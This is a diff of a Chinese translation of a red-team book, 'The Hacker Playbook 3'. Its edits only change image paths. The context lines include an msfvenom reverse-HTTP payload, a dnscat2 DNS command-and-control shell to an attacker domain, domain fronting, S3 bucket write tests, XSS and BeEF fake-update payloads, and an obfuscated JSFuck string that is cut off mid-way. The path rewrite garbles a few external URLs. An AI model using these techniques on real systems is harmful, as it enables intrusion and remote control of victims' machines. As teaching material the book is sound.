diff --git a/docs/hacker-playbook-3/10_post_game_analysis_reporting.md b/docs/hacker-playbook-3/10_post_game_analysis_reporting.md index 625c833869b980e10a83089d41b4ffa26398f26a..b689cc462b90d083136c9aa1923b5fd712e9388b 100644 --- a/docs/hacker-playbook-3/10_post_game_analysis_reporting.md +++ b/docs/hacker-playbook-3/10_post_game_analysis_reporting.md @@ -2,7 +2,7 @@ > 译者:[@Snowming](https://github.com/Snowming04) -![](img/chapter_10/10-1.png) +![](img/10-1.png) 在之前的 THP 书籍中,我们有介绍如何编写渗透测试报告的示例,并提供了大量报告模板。这些示例非常适合那些按部就班的做渗透测试的活动,但是不适合红队的活动。正如本书所述,红队的焦点不是识别漏洞本身(虽然这也是工作的一部分),而是测试人、工具、工作流程和员工的技能组合。如果你的公司被授权的渗透测试者或者未授权的坏人攻击并成功入侵,你会给自己的业绩打几分?我一直反对使用差距评估分数、ISO 分数、成熟度模型分数、标准风险分析、热度图和类似类型的报告来展示公司安全项目的真实状况。 @@ -18,7 +18,7 @@ 在活动期间、记笔记方面,许多工具如 Empire 和 Cobalt Strike 在红队活动期间都有很好的活动日志记录,但这些可能还远远不够。我发现对我们团队的活动非常有用的是,建立一个简单的 Web 服务器来记录红队成员执行的每个操作。记录过程中只收集最基本的信息,其中包括特定的事件、服务器、描述、影响、任何警报和屏幕截图。大多数红队/渗透测试人员都不喜欢做笔记,但这类记录提供了一种简单的跟踪活动的方法。 -![](img/chapter_10/10-2.png) +![](img/10-2.png) 一旦活动结束,我们将收集所有笔记并将其组合在一起,以构建一个能讲述故事的红队报告。红队报告的主要组成部分可能包括: @@ -28,7 +28,7 @@ - **攻击时间轴**:这是红队行动中最重要的部分之一,做好笔记是有回报的。时间轴应该充分说明所有的主要活动,任何触发警报的 TTP,以及主要的活动。这将允许蓝队比较他们的时间轴和笔记,看看他们错过了什么。在一次真正的攻击中,你有机会询问那些坏人关于他们做的每坏件事吗?这对防守团队来说是非常有利的。一个时间轴示例可能是这样的: - ![](img/chapter_10/10-3.png) + ![](img/10-3.png) - **检测时间(TTD)/解决时间(TTM)**:这通常是我们可以使用蓝队报告构建 TTD/TTM 统计数据的地方。我们都想要确定蓝队发现一次多重入侵所需的时间;扫描事件触发调查之前花费的时间(如果调查了的话);以及蓝队需要多长时间来识别网络钓鱼活动。 第二部分应该讨论有关采取行动之前花费的时间的统计数据。如果有已警告的 C2 通信或已识别的网络钓鱼,那么在防火墙或 DNS 服务器上封锁这些域需要花费的时间是多久?我们经常看到公司可能擅长屏蔽域名,但是当 C2 服务器通过 IP 进行通信时会很快失败(反之亦然)。我们希望确保跟踪此活动并帮我们的客户来识别它。另一个很有用的 TTM 衡量标准是他们最快的情况下要花多久来隔离一个已经确认受损的系统。随着恶意软件变得越来越自动化,我们需要开始利用智能化和自动化的流程将系统或网络的一部分与组织的其他部分隔离开来。 diff --git a/docs/hacker-playbook-3/1_pregame_the_setup.md b/docs/hacker-playbook-3/1_pregame_the_setup.md index 30b50c424d682c26e41f135ed013323de8427165..06bc9ccab1f299467f0c9a70ce89528a20656db6 100644 --- a/docs/hacker-playbook-3/1_pregame_the_setup.md +++ b/docs/hacker-playbook-3/1_pregame_the_setup.md @@ -2,7 +2,7 @@ > 译者:[@Snowming](https://github.com/Snowming04) -![](img/chapter_1/1-1.PNG) +![](img/1-1.PNG) 作为红队人员,我们通常不太关注某次攻击的目的(更关注的是攻击手法)。相反,我们想从那些高级威胁组织的 TTP(Tactics、Techniques & Procedures)中学到更多。举个例子,这是一个来自于火眼(FireEye)公司的公开的[威胁情报分析报告](https://www2.fireeye.com/rs/848-DID-2img/rpt-apt29-hammertoss.pdf)。从报告中,我们可以看到:这个威胁组织使用推特作为 C2 服务器,也使用了 github 作为存储加密图片和经过信息隐写文件的仓库。 我们可以参考此报告,根据攻击手法的特点来针对性的做出合适的防御方案,来看你的公司是否能发现并拦截这种攻击。 @@ -10,14 +10,14 @@ 让我们对 APT 攻击做一些基本的介绍。由 MITRE 公司提出的 ATT&CK 矩阵( Adversarial Tactics, Techniques, and Common Knowledge matrix ) 是对 APT 攻击的详细分解。这个矩阵中是一个在各种攻击场景中使用的不同 TTP 的大集合。 商用 ATT&CK 矩阵 - Windows版 -![](img/chapter_1/1-2.PNG) +![](img/1-2.PNG) > 译者注: >1. 上面的矩阵仅仅包扩适用于 Windows 平台的技术。完整的商用 Enterprise ATT&CK 矩阵也包括适用于 [macOS](https://attack.mitre.org/matrices/enterprise/macos/) 和 [Linux]( https://attack.mitre.org/matrices/enterprise/linux/) 平台的技术。 >2. 矩阵中的内容严格复制自原书。只是因为原书图片分辨率太低,为了读者的阅读体验,特意重新作图。ATT&CK 矩阵至今没有中文翻译,因为译者才疏学浅,不敢献丑翻译,故保留英文。但是需要说明的是,书中列出的矩阵内容,跟 MITRE 公司官网给出的矩阵内容存在差异,可能是因为矩阵被重新修订了。故给出 [Enterprise Matrix - Windows的官网地址](https://attack.mitre.org/matrices/enterprise/windows/) 供读者参考。 另一个资源是 [@cyb3rops](https://twitter.com/cyb3rops) 整理的 [APT组织与方法持续更新列表](http://bit.ly/2GZb8eW)。这个谷歌文件列举了世界多个国家的疑似 APT 组织及其使用的工具集。对于红队成员来说,我们可以参考此文档来模拟不同的攻击。当然,我们可能不会使用与文档中列举的相同的工具,但是我们可以构建类似的工具来做同样的攻击。 -![](img/chapter_1/1-16.PNG) +![](img/1-16.PNG) ## 假定攻破练习 @@ -72,11 +72,11 @@ - cd /pentest 下图显示了所有的可用模块,其中一些模块是我们自己安装的。 -![](img/chapter_1/1-3.PNG)
+![](img/1-3.PNG)
图: 所有可用模块的列表 如果我们查看我们的攻击者 VPS,就可以看到安装在我们的机器上的所有工具。如果我们想要启动 Metasploit,我们可以输入:*msfconsole*。
-![](img/chapter_1/1-4.PNG)
+![](img/1-4.PNG)
图: 安装在 /pentest 文件夹下的所有工具 我仍然建议建立强大的 IPTables 规则。因为这将是你的攻击服务器,所以最好限制 SSH 身份验证可以从何处发起, Empire/Meterpreter/Cobalt Strike的 payload 可以从何处发起,以及你所支持的任何钓鱼页面。 @@ -108,7 +108,7 @@ msfvenom -payload windows/x64/meterpreter_reverse_http -format psh -out meterpre 我们甚至可以将混淆提升到新的水平,并使用 [Unicorn](https://github.com/trustedsec/unicorn) 等工具生成更多模糊的基于 PowerShell 的 Meterpreter payload,我们将在本书中详细介绍这些混淆器。 -![](img/chapter_1/1-5.PNG) +![](img/1-5.PNG) 此外,使用受信任的机构签发的 SSL/TLS 证书可以帮助我们绕过某些网络中的 IDS(入侵检测系统),具体可以参考以下链接实现:[Meterpreter Paranoid Mode](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode)。 @@ -122,13 +122,13 @@ Cobalt Strike 是迄今为止我最喜欢的红队模拟工具之一。什么是 #### Cobalt Strike 基础设施 正如上文所述,在基础设施方面,我们希望设置这样一个可重用且高度灵活的环境。Cobalt Strike 支持重定向,当你的 Cobalt Strike 使用的 C2 域名被销毁了,你不需要创建并启用一个新的环境,只需要替换一个新的 C2 域名。你可以在这里找到更多的使用 socat 配置这些重定向器的信息:[链接1](http://bit.ly/2qxCbCZ) & [链接2](http://bit.ly/2IUc4Oe) -图片名称 +图片名称 为了使你更好的重定向,我们可以使用域名前置(域名幌子)。域名前置是使用其他的域名和基础设施的技术作为控制器重定向的技术集合([参考链接](http://bit.ly/2GYw55A))。这可以通过使用流行的内容分发网络(CDNs)来实现,如亚马逊云的 CloudFront 或其他的 Google Hosts 来隐蔽我们的流量源。这在过去曾被不同的攻击者所利用过([参考链接](http://bit.ly/2HoCRFi))。 通过使用这些高信誉域名,无论 HTTP 或 HTTPS 的任何流量,看起来都像是它正在与这些域通信,而不是与我们的恶意 C2 服务器通信。这一切是如何运作的?用一个比较抽象的例子来说,你的所有流量将被发送到 CloudFront 的一个主要完全限定域名(FQDNs),例如 a0.awsstatic.com,它是 CloudFront 的主要域名。修改请求中的主机 header 将把所有流量重定向到我们的 CloudFront 分发(CloudFront distribution),后者最终会将流量转发到我们的 Cobalt Strike C2服务器上([参考链接](http://bit.ly/2GYw55A))。 -图片名称 +图片名称 通过更改 HTTP 主机的 header,CDN 将很轻松的的的地把流量传输回到正确的服务器。红队一直使用这种技术通过使用高信誉域名来隐藏 C2 服务器的流量。 @@ -250,7 +250,7 @@ ServerVersion - 将其更改为另一个常见的服务器 Header execute ``` -图片名称 +图片名称 #### 配置 Payload @@ -292,7 +292,7 @@ generate cat /tmp/launcher.bat ``` -图片名称 +图片名称 如你所见,创建的 payload 被严重混淆。 你现在可以把这个 .bat 文件丢到任何 Windows 系统上。 当然,你可能会创建一个 Office 宏文件或一个USB橡皮鸭(注:USB RUBBER DUCKY/USB 橡皮鸭是最早的按键注入工具)的 payload,但这只是众多示例中的一个。 @@ -320,7 +320,7 @@ dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb 在许多安全环境中,直接使用 UDP 或 TCP 出站会受到限制。 为什么不利用基础架构中已经内置的服务呢?许多受保护的网络包含一个 DNS 服务器来解析内部主机,同时还允许解析外部资源。通过为我们拥有的恶意域名设置一个权威服务器,我们可以利用这些 DNS 解析来对我们的恶意软件进行命令执行和控制。 -图片名称 +图片名称 在我们的场景中,我们将设置名为 “loca1host.com” 的攻击者域。 我们希望通过对 “localhost” 创建“分身”来更多地隐藏我们的流量。请你自行将 “loca1host.com” 替换为你拥有的域名。我们将配置 loca1host.com 的 DNS 信息,使其成为一个权威 DNS 服务器(Authoritative DNS server)。 在这个例子中,我们将使用 GoDaddy 的 DNS 配置工具,但你也可以换成任何其他的 DNS 服务。 @@ -340,7 +340,7 @@ ns2 (然后输入你的VPS的IP) 添加 ns2.loca1host.com ``` -![](img/chapter_1/1-11.png) +![](img/1-11.png) 如上图所示,我们现在让我们的 NS 记录指向 ns1.loca1host.com 和 ns2.loca1host.com,它们都指向我们的攻击 VPS 服务器的 IP。 如果你尝试解析 loca1host.com 的任何子域(即 vpn.loca1host.com),它将尝试使用我们的 VPS 进行相关的域名解析。对我们来说幸运的是,dnscat2 在 UDP 端口53上监听并为我们做了所有繁重的工作。 @@ -396,7 +396,7 @@ nohup /bin/bash -c “while true; do /opt/dnscat2/client/dnscat loca1host.com -s #### dnscat2的连接 在我们的 payload 执行并连接回我们的攻击服务器之后,我们应该看到类似于下面的一个新的`ENCRYPTED AND VERIFIED`消息。通过输入 “window”,dnscat2 将显示所有会话。现在,我们有一个名为“1”的单行命令会话。 -![](img/chapter_1/1-12.png) +![](img/1-12.png) 我们可以通过与我们的命令会话交互来生成终端样式 shell: - 与我们的第一个命令会话进行交互 @@ -417,7 +417,7 @@ window -i 2 ``` - 现在,你应该能够运行所有 shell 命令(例如 ls) -![](img/chapter_1/1-13.png) +![](img/1-13.png) 虽然这不是最快的shell,但由于所有通信都是通过 DNS 进行的,因此它确实可以在一些 Meterpreter 或类似 shell 无法正常工作的情境下生效。 dnscat2 更好的地方是它完全支持搭建隧道。这样,如果我们想要使用来自我们的主机系统的漏洞利用模块,我们可以通过隧道和浏览器来访问其内部网站,甚至是 SSH 连接到另外的机器中,这一切都是可能的。 @@ -430,10 +430,10 @@ listen 127.0.0.1:9999 10.100.100.1:22 创建隧道后,我们可以返回攻击计算机上的根终端窗口,通过本地的 9999 端口使用 SSH 连接到 localhost,然后成功连接到受害者网络上的内部系统并进行身份验证。 > 译者注:这里如果看不懂,可以看看这篇文章加深理解 -> [使用SSH反向隧道进行内网穿透](http://arondight.me/2016/02/17/%E4%BD%BF%E7%94%A8SSH%E5%8F%8D%E5%90%91%E9%9A%A7%E9%81%93%E8%BF%9B%E8%A1%8C%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/) -![](img/chapter_1/1-14.png) +![](img/1-14.png) 这将提供各种各样的乐趣和一个很好的测试,来看你的客户的网络是否可以主动检测大量 DNS 查询和溢出。那么,请求和响应是什么样子的呢? 使用 Wireshark 快速抓包发现:dnscat2 为许多不同的长子域创建了大量不同的 DNS 请求。 -![](img/chapter_1/1-15.png) +![](img/1-15.png) 现在,你可能想要测试许多其他的协议。例如,Nishang 有一个基于 PowerShell 的 ICMP Shell( http://bit.ly/2GXhdnZ ),它使用 https://github.com/inquisb/icmpsh 作为 C2 服务器。 还有其他 ICMP shell,如: - https://github.com/jamesbarlow/icmptunnel diff --git a/docs/hacker-playbook-3/2_before_the_snap_red_team_recon.md b/docs/hacker-playbook-3/2_before_the_snap_red_team_recon.md index 3dc85f1828b09dc9f991f763e5eb6671af43aeb5..527463cf87efaacf36b861ec9bb7566611e959a8 100644 --- a/docs/hacker-playbook-3/2_before_the_snap_red_team_recon.md +++ b/docs/hacker-playbook-3/2_before_the_snap_red_team_recon.md @@ -2,7 +2,7 @@ > 译者:[@Snowming](https://github.com/Snowming04) -![](img/chapter_2/2-1.PNG) +![](img/2-1.PNG) 在 The Hacking Playbook 2 中,前面的发球部分重点介绍了一些不同的工具,如 Recon-NG、Discover、Spiderfoot、Gitrob、Masscan、Sparta、HTTP Screenshot、漏洞扫描器(包括 nessus,openvas)、Burp 套件等。这些工具我们可以在外网或内网络使用,对目标的基础设施进行侦察或扫描。在本书中我们将延续这一做法,然后从红队的角度对侦察阶段进行拓展。 @@ -27,7 +27,7 @@ 这是一个非常简单的脚本,它每天用默认的端口运行 nmap,然后使用 ndiff 比较结果。然后,我们可以获取这个脚本的输出结果,并让它把每天发现的新端口及时通知我们的团队。
-图片名称 +图片名称 在上一本书中,我们着重讨论了 [Masscan](https://github.com/robertdavidgraham/masscan) 的好处,以及它比 nmap 的速度快多少。Masscan 的开发者说,如果你的网络带宽足够大,你可以在6分钟内扫描完毕整个互联网。所以说,当扫描大的范围时,Masscan 是很可靠的。Masscan 对我们最初的侦察很有用,但通常不用于比较差异。 @@ -55,7 +55,7 @@ - ./masshttp.sh - firefox clusters.html -图片名称 +图片名称 另一个可以用到的工具是 [Eyewitness](https://github.com/ChrisTruncer/EyeWitness)。 @@ -66,7 +66,7 @@ Eyewitness 是另一个很好的工具,它用 XML 文件的方式输出 nmap >- cd /opt/EyeWitness >- nmap [IP Range]/24 —open -p 80,443 -oX scan.xml >- python ./EyeWitness.py -x scan.xml —web ->图片名称 +>图片名称 ### 云扫描 随着越来越多的公司转向使用不同的云基础设施,一些围绕云服务的新型攻击和传统攻击逐渐形成。这通常是由于公司错误的配置和缺乏对云基础设施上公共条款的确切了解。无论是选择亚马逊 EC2、Azure、谷歌云还是其他云服务提供商,使用不同的云基础设施都已成为一种全球趋势。 @@ -109,7 +109,7 @@ Censys 的最佳特性之一是它从 SSL 证书中提取信息。通常,红 这些扫描的一个问题是它们可能会延迟几天或几周。在这种情况下,需要用一天的时间来扫描标题信息。另外,在我的站点上创建 SSL 证书之后,信息在 Censys.io 站点上显示花费了四天时间。但是在数据准确性方面,Censys.io 相当可靠。 下面,我们通过扫描找到目标网站 cyberspacekittens.com 的信息。通过解析服务器的 SSL 证书,我们能够确定受害者的服务器托管在 AWS 上。
-图片名称
+图片名称
还有一个 [Censys脚本工具](https://github.com/christophetd/censys-subdomain-finder),可以通过脚本的方式来进行查询。 @@ -124,9 +124,9 @@ Censys 的最佳特性之一是它从 SSL 证书中提取信息。通常,红 - cd /opt/sslScrape - python ./sslScrape.py [IP 地址 CIDR 范围] -图片名称
+图片名称
-图片名称
+图片名称
云 IP 地址的例子: - Amazon: http://bit.ly/2vUSjED @@ -233,7 +233,7 @@ Truffle Hog工具会扫描不同的提交历史记录和分支来获取高机密 - cd /opt/trufflehog/truffleHog - python truffleHog.py https://github.com/cyberspacekittens/dnscat2 -![](img/chapter_2/2-8.PNG) +![](img/2-8.PNG) 正如我们在 commit 历史记录中看到的,AWS 密钥和 SSH 密钥被从 server/controller/csk.config 文件中删除了。但是如果查看[当前仓库](https://github.com/cheetz/dnscat2/tree/master/server/controller),你找不到这个文件。 @@ -271,7 +271,7 @@ docker cp :/data/results.txt ./results.txt - ./slurp domain -t cyberspacekittens.com - ./slurp keyword -t cyberspacekittens -![](img/chapter_2/2-9.PNG) +![](img/2-9.PNG) #### Bucket Finder 另一个工具 Bucket Finder 不仅会尝试查找不同的 bucket,还会从这些 bucket 中下载所有的内容进行分析: @@ -280,11 +280,11 @@ docker cp :/data/results.txt ./results.txt - cd /opt/bucket_finder - ./bucket_finder.rb —region us my_words —download -![](img/chapter_2/2-10.PNG) +![](img/2-10.PNG) 你一直在基于 Cyber Space Kittens 的基础设施进行搜寻,并发现了他们的一个 S3 bucket( cyberspacekittens.s3.amazonaws.com )。在 S3 bucket 中检索可见的和不可见的内容时,你的第一步要做什么呢?你可以首先把它弹到浏览器中来看一些信息: -![](img/chapter_2/2-11.PNG) +![](img/2-11.PNG) 在开始之前,我们需要创建一个 AWS 帐户来获得一个访问密钥 ID。你可以在 Amazon [免费创建你的帐户](https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/)。创建帐户后,登录 AWS,转到你的[安全凭据](https://amzn.to/2ItaySR),然后转到访问密钥。一旦你有了 AWS Access ID 和密钥,我们就可以查询 S3 bucket 了。 @@ -308,7 +308,7 @@ echo “test” > test.txt aws s3 mv test.txt s3://cyberspacekittens aws s3 ls s3://cyberspacekittens ``` -![](img/chapter_2/2-12.PNG) +![](img/2-12.PNG) *注意,write 已被从 Everyone 组中删除。这只是为了示范。* @@ -322,7 +322,7 @@ aws s3 ls s3://cyberspacekittens 接下来,我们看看是否可以修改这些 bucket 本身。这可以通过以下命令来完成: - aws s3api get-bucket-acl —bucket cyberspacekittens -![](img/chapter_2/2-13.PNG) +![](img/2-13.PNG) 同样,在这两种情况下,读权限都是全局允许的,但是完全控制或任何写入的权限只有名为 “secure” 的帐户才有。如果我们可以进入 bucket,那么我们可以使用`—grant-full-control`来赋予我们自己对 bucket 和对象的完全控制权限。 @@ -368,7 +368,7 @@ cd /opt/tko-subs/ 这可能需要很长时间来运行,因为它检查 Bing、Yahoo、Google、Ask Search、PGP 仓库、文件等等。这也可能让你的网络被搜索引擎们识别成机器人。并且如果你产生了太多的搜索请求,那么可能需要填写验证码。 -![](img/chapter_2/2-14.PNG) +![](img/2-14.PNG) 针对你自己的公司进行此操作。你看到任何你可以识别的 email 地址了吗?这可能是可以在一个大规模红队活动中被设为靶子的第一个 email 地址。 diff --git a/docs/hacker-playbook-3/3_the_throw_web_application_exploitation.md b/docs/hacker-playbook-3/3_the_throw_web_application_exploitation.md index bf8e9d667a30cb06be56504044abcaa3b3353b57..13a922cb9cc2a337dd1884645950b900faf21f42 100644 --- a/docs/hacker-playbook-3/3_the_throw_web_application_exploitation.md +++ b/docs/hacker-playbook-3/3_the_throw_web_application_exploitation.md @@ -4,13 +4,13 @@ > > 校对者:[@鶇](http://wp.blkstone.me)、[@leitbogioro](https://github.com/leitbogioro/)、@哈姆太郎、@匿名jack、[@Victor Zhu](https://zhuzhuuu.com/) -![](img/chapter_3/3-1.PNG) +![](img/3-1.PNG) 在过去几年中,我们看到了一些严重的、面向外部网络的 Web 攻击。从 Apache Struts 2开发框架漏洞(尽管 [Equifax 公司因 Apache Struts 2安全漏洞而造成数据泄露](http://bit.ly/2HokWi0)还未被确认),到美国快餐公司 [Panera Bread 数据泄露](http://bit.ly/2qwEMxH),到 [Uber 信息泄露](http://ubr.to/2hIO2tZ),攻击几乎波及了社会上的一切。毫无疑问,我们还会继续看到许多严重的面向公网的端点攻击。 整个安全行业以周期性模式运行。如果从 OSI 模型的不同层级来看,就会发现攻击每隔一年就会转移到不同的层。就 Web 而言,早在21世纪初,就有大量的 SQLi 和 RFI 类型的漏洞利用事件。然而,一旦公司开始加强其外部网络环境并开始进行外部渗透测试,我们作为攻击者,就要转而针对“第8层”攻击 —— 将社会工程学攻击(网络钓鱼)作为第一切入点。现在,正如我们看到的,各个组织通过新一代终端防护/防火墙来提高其内部安全性,所以我们的重点又转回了应用程序的漏洞利用。我们还看到应用程序、API 和编程语言的复杂性大幅增加,使得许多旧的甚至是新的漏洞重新出现。 -由于本书更多地针对红队行动的概念,因此我们不会深入研究所有不同的 Web 漏洞或是如何手动利用它们。这本书并不是一本字典类型的参考工具书。你将关注的是红队队员和坏人在现实世界中所能看到的漏洞,例如那些危害到 PII(个人验证信息)、IP、网络等的漏洞。 对于那些正在寻找非常详细的 Web 渗透测试方法的人,我总是建议从 OWASP 测试指南开始( http://bit.ly/2GZbVZd 和 https://www.owasp.oimg/1/19/OTGv4.pdf )。 +由于本书更多地针对红队行动的概念,因此我们不会深入研究所有不同的 Web 漏洞或是如何手动利用它们。这本书并不是一本字典类型的参考工具书。你将关注的是红队队员和坏人在现实世界中所能看到的漏洞,例如那些危害到 PII(个人验证信息)、IP、网络等的漏洞。 对于那些正在寻找非常详细的 Web 渗透测试方法的人,我总是建议从 OWASP 测试指南开始( http://bit.ly/2GZbVZd 和 https://www.owasp.oimg/19/OTGv4.pdf )。 请注意,由于在上本书中提到的许多攻击都没有改变,因此我们不会在之后的练习中重复 SQLMap、IDOR 攻击和 CSRF 漏洞等示例。相反,我们将专注于新的关键问题。 @@ -25,11 +25,11 @@ 让我们以 eBay 为例,他们有一个公开的漏洞赏金平台。在他们的[漏洞赏金平台](http://pages.ebay.com/securitycenter/Researchers.html)上,他们说明了挖洞指南、符合条件的域名、符合条件的漏洞、不包括的项目、如何报告漏洞和白帽子公开致谢: -![](img/chapter_3/3-2.png) +![](img/3-2.png) 如何向公司报告漏洞通常与寻找漏洞本身同样重要。你要确保向公司提供尽可能多的细节。这将包括漏洞的类型、严重性/关键性、利用漏洞所采取的步骤、屏幕截图,甚至用到的 POC(proof of concept)。如果你需要一些帮助来创建风格统一的报告,可以查看和使用下面的报告生成表单: https://buer.haus/breport/index.php 。 -![](img/chapter_3/3-3.png) +![](img/3-3.png) 我以前有运营自己漏洞赏金平台,有一件事需要注意的是,我在平台上看到了一些情况,研究人员会在验证漏洞时过于深入目标系统(超过了正常验证漏洞的范围)。例如包括在发现 SQL 注入后对数据库拖库,在接管子域后挂黑页填写他们认为有趣的内容,甚至在初始远程代码执行漏洞之后在生产环境中横向渗透。这些案例可能会导致法律问题,并有可能让联邦调查局找上门来。因此,请你最好谨慎判断,确认好测试范围,并记住,如果直觉觉得它是非法的,那么它可能就是非法的。 @@ -101,7 +101,7 @@ Web 部分的命令和攻击可能非常冗长和复杂。为了方便起见, 在下面的示例中,我们的实验室将使用 Node.js 作为应用程序的基础,它将使用 [Express 框架](https://expressjs.com/)作为我们的 Web 服务器。然后,我们将把 [Pug](https://pugjs.org/) 模板引擎添加到我们的 Express 框架中。这类似于我们现在在新开发的应用程序中经常见到的东西。 -![](img/chapter_3/3-4.png) +![](img/3-4.png) Express 是一个用于 Node.js 的极简 Web 框架。Express 为 Web 和移动应用程序提供了一组强大的功能,因此你无需进行大量工作。使用名为 `Middlewares` 的模块,你可以添加第三方认证或服务,如 Facebook 身份验证或 Stripe 支付服务。 @@ -136,7 +136,7 @@ Pug,正式名称为 Jade,是一个服务器端模板引擎,你可以(但 ### 分析 Web 应用程序 在我们进行任何类型的扫描之前,尝试理解底层代码和基础结构非常重要。我们怎样才能知道后端运行的是什么代码?我们可以使用 Wappalyzer,BuiltWith 或 Google Chrome 浏览器查看。在下面的图像中,当加载聊天应用程序时,我们可以在 Chrome 中看到 HTTP 标头具有 X-Powered By: Express。我们还可以在Wappalyzer 中看到应用程序正在使用 Express 和 Node.js。 -![](img/chapter_3/3-5.png) +![](img/3-5.png) 盲目攻击网站之前了解目标应用程序可以帮助你提供更好的思路。这也有助于入侵可能有 WAF 的目标站点,允许你使用更多的攻击手法。 @@ -200,14 +200,14 @@ Pug,正式名称为 Jade,是一个服务器端模板引擎,你可以(但 你可以通过访问应用程序来尝试 CSK 应用程序中的每个 HTML 实体攻击:http://chat:3000/ (记得修改 `/etc/host` 文件以指向与虚拟机 IP 的聊天)。进入后,注册一个帐户,登录应用程序,然后转到聊天功能( http://chat:3000/chatchannel/1 )。尝试不同的实体攻击和经过混淆的 payload。 -![](img/chapter_3/3-6.png) +![](img/3-6.png) XSS 的其他优秀资源: * 第一个是由 @jackmasa 制作的思维导图。这是一个很棒的文档,它根据输入点的位置来分解不同的 XSS payload。虽然不再在 JackMasa GitHub 页面上,但是这里有一个[副本](http://bit.ly/2qvnLEq)。 * 另一个很好的资源,讨论哪些浏览器容易受到哪些 XSS payload 的影响:https://html5sec.org/ 。 -![](img/chapter_3/3-7.png) +![](img/3-7.png) 如你所见,尝试在应用程序上查找每一个 XSS 有时是很烦人的。这是因为易受攻击的参数受到代码功能、不同类型的 HTML 标记、应用程序类型和不同类型的过滤的影响。试图找到初始 XSS 的弹出窗口可能需要很长时间。如果我们可以尝试将多个 payload 链接到单个请求中,该怎么办? @@ -252,11 +252,11 @@ BeEF 支持哪些类型的后渗透攻击?一旦你的受害者受到你的控 一旦你的受害者连接到你的僵尸网络,你就可以完全控制他们的浏览器。你可以根据设备,浏览器和目标机器启用的功能进行各种攻击。通过社会工程学演示 XSS 影响力的一个好方法是通过 Flash 更新提示将恶意软件推送到他们的计算机。 -![](img/chapter_3/3-8.png) +![](img/3-8.png) 一旦执行,将在受害者的计算机上显示弹出窗口,强制他们安装更新,其中包含我们准备的恶意软件。 -![](img/chapter_3/3-9.png) +![](img/3-9.png) 我建议花一些时间熟悉所有 BeEf 的后渗透模块,并了解 JavaScript 的强大功能。由于我们会控制浏览器,因此我们必须弄清楚如何在红队活动中使用它。一旦你通过 XSS 感染了受害者,你还想做些什么?我们将在后面的“从 XSS 到 shell”部分讨论这个问题。 @@ -275,9 +275,9 @@ XSS Hunter: * 修改 payload 以适应你的攻击或使用它构建 Polyglot * 检查 XSS hunter 以查看 payload 执行情况 -![](img/chapter_3/3-10.png) +![](img/3-10.png) -![](img/chapter_3/3-11.png) +![](img/3-11.png) ### 基于 DOM 的 XSS 对反射 XSS 和存储 XSS 的理解相对简单。我们已经知道,如果服务器没有为用户/数据库提供足够的输入/输出验证,我们的恶意脚本代码就会通过源代码呈现给用户。然而,在基于 DOM 的 XSS 中,它略有不同,这导致了一些常见的误解。因此,让我们花些时间专注于基于 DOM 的 XSS。 @@ -295,7 +295,7 @@ DOM 究竟是什么?文档对象模型(DOM)是 HTML 属性的一个特性 在我们的示例中,我们在服务器端有 Node.js,socket.io(Node.js 的库)在用户和服务器之间设置 Web 套接字,客户端 JavaScript 和我们的恶意 msg.msgText JavaScript。正如你在下面和页面的源代码中看到的那样,你不会像在标准的反射/存储的 XSS 中那样直接引用你的“弹窗” payload。在这个例子里,我们将得知唯一指示可以调用 payload 的位置来自 msg.name 引用。这有时会使我们很难确定执行 XSS payload 的位置,或者是否需要打破任何 HTML 标记。 -![](img/chapter_3/3-12.png) +![](img/3-12.png) ### NodeJS 中的高级 XSS XSS 可以不断用于攻击的一个重要原因是,仅靠过滤标签或某些字符防御它的话要困难得多。当 payload 特定于某种语言或框架时,XSS 很难防御。由于每种语言在此漏洞方面都有其独到之处,因此 NodeJS 也不会有什么不同。 @@ -348,7 +348,7 @@ Pug 支持转义和非转义字符串插值。隐藏和未转义之间的区别 * 查看 HTML 响应(查看页面的源代码): * <script>alert(1)</script> -![](img/chapter_3/3-13.png) +![](img/3-13.png) 点击提交后,查看页面源代码(ctrl+u)并搜索“alert”一词。你将看到我们的 payload 中的特殊字符被转换为 HTML 实体。脚本标签仍可通过我们的浏览器在我们的网站上看到,但不会呈现为 JavaScript。这种字符串插值的使用是正确的,并且实际上没有办法通过这种情况来找到 XSS。这个工作评分会是 A+!让我们看一些糟糕的例子。 @@ -371,7 +371,7 @@ Pug 支持转义和非转义字符串插值。隐藏和未转义之间的区别 因此,使用未提交用户输入的非转义字符串插值(`!{name2}`)会导致很多麻烦。这是一种不好的做法,不应该用于用户提交的数据。因为我们输入的任何 JavaScript 都将在受害者的浏览器上执行。 -![](img/chapter_3/3-14.png) +![](img/3-14.png) **练习3** @@ -425,7 +425,7 @@ Pug 支持转义和非转义字符串插值。隐藏和未转义之间的区别 [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[